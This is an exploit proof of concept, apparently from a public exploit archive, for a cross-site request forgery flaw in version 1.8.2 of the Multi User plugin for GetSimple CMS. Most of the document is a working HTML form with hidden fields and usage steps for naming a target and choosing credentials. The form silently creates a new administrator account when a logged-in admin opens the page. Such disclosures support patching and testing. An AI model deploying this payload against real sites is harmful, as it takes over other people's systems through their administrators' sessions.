GetSimple CMS Plugin Multi User 1.8.2 – Cross-Site Request Forgery (Add Admin)
# Exploit Title: GetSimple CMS Plugin Multi User v1.8.2 - Cross-Site Request Forgery (Add Admin) # Exploit Author: Bobby Cooke (boku) & Adeeb Shah (@hyd3sec) # Date: August 2020-08-12 # Vendor Homepage: http://get-simple.info/extend/plugin/multi-user/133/ # Software Link: http://get-simple.info/extend/export/960/133/multi-user.zip # Version: 1.8.2 # Tested On: Windows 10 Pro + XAMPP # CWE-352: Cross-Site Request Forgery (CSRF) # Vulnerability Description: # Cross-Site Request Forgery (CSRF) vulnerability in Multi User v1.8.2 plugin for GetSimple CMS allows remote attackers to add an Admin user via authenticated admin visiting a third-party site. ## Usage: + Change <IP||DOMAIN> to target IP address or domain name + Change <ADMIN> to target username + Change <PASSWORD> to target password ## CSRF POST Form Method <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://<IP||DOMAIN>/admin/load.php?id=user-managment" method="POST"> <input type="hidden" name="usernamec" value="<ADMIN>" /> <input type="hidden" name="useremail" value="ADMIN@DOMAIN.LOCAL" /> <input type="hidden" name="ntimezone" value="" /> <input type="hidden" name="userlng" value="en_US" /> <input type="hidden" name="userpassword" value="<PASSWORD>" /> <input type="hidden" name="usereditor" value="1" /> <input type="hidden" name="Landing" value="" /> <input type="hidden" name="add-user" value="Add New User" /> <input type="submit" value="Submit request" /> </form> </body> </html> |